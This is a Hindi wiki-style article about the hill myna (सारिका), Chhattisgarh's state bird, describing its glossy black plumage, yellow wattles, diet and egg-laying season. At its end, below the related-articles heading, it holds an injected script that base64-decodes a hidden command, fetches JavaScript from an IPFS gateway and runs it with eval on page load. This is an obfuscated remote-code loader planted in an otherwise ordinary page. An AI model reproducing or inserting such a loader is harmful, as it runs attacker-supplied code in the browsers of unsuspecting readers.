पहाड़ी मैना

भारत डिस्कवरी प्रस्तुति
प्रीति चौधरी (चर्चा | योगदान) द्वारा परिवर्तित 13:10, 25 मई 2012 का अवतरण (→‎संबंधित लेख)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
पहाड़ी मैना, छत्तीसगढ़ का राजकीय पक्षी

पहाड़ी मैना अथवा 'सारिका' शाखाशायी गण के ग्रेकुलिडी कुल का प्रसिद्ध पक्षी है। यह अपनी मीठी बोली के कारण शैकीनों द्वारा पिंजड़ों में पाला जाता है। भारत में भी यह पक्षी बड़ी संख्या में पाया जाता है। छत्तीसगढ़ राज्य में तो मैना को विशिष्ट सम्मान प्राप्त है और इसे यहाँ का 'राजकीय पक्षी' घोषित किया गया है।

  • अंग्रेज़ी साहित्य में स्टालिंग को जो स्थान प्राप्त है, वही मैंना को हमारे साहित्य में मिला हैं।
  • मैना गिरोह में रहने वाला पक्षी है, जो हमारे देश भारत को छोड़कर कहीं बाहर नहीं जाता।
  • इसकी कई जातियाँ भारत में पाई जाती हैं, जिनमें थोड़ा ही भेद रहता है।
  • मैना का सारा शरीर चमकीला काला रहता है, जिसमें बैंगनी और हरी झलक रहती है।
  • डैने पर एक सफ़ेद चित्ता रहता है और आँखों के पीछे से गुद्दी तक फीते की तरह पीली खाल बढती रहती है।
  • इसका मुख्य भोजन तो फल-फूल और कीड़े-मकोड़े हैं, लेकिन यह फूलों का रस भी खूब पीती है।
  • मादा फ़रवरी से मई के बीच में दो-तीन नीले और हरे रंग के मिश्रण वाले अंडे देती है।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>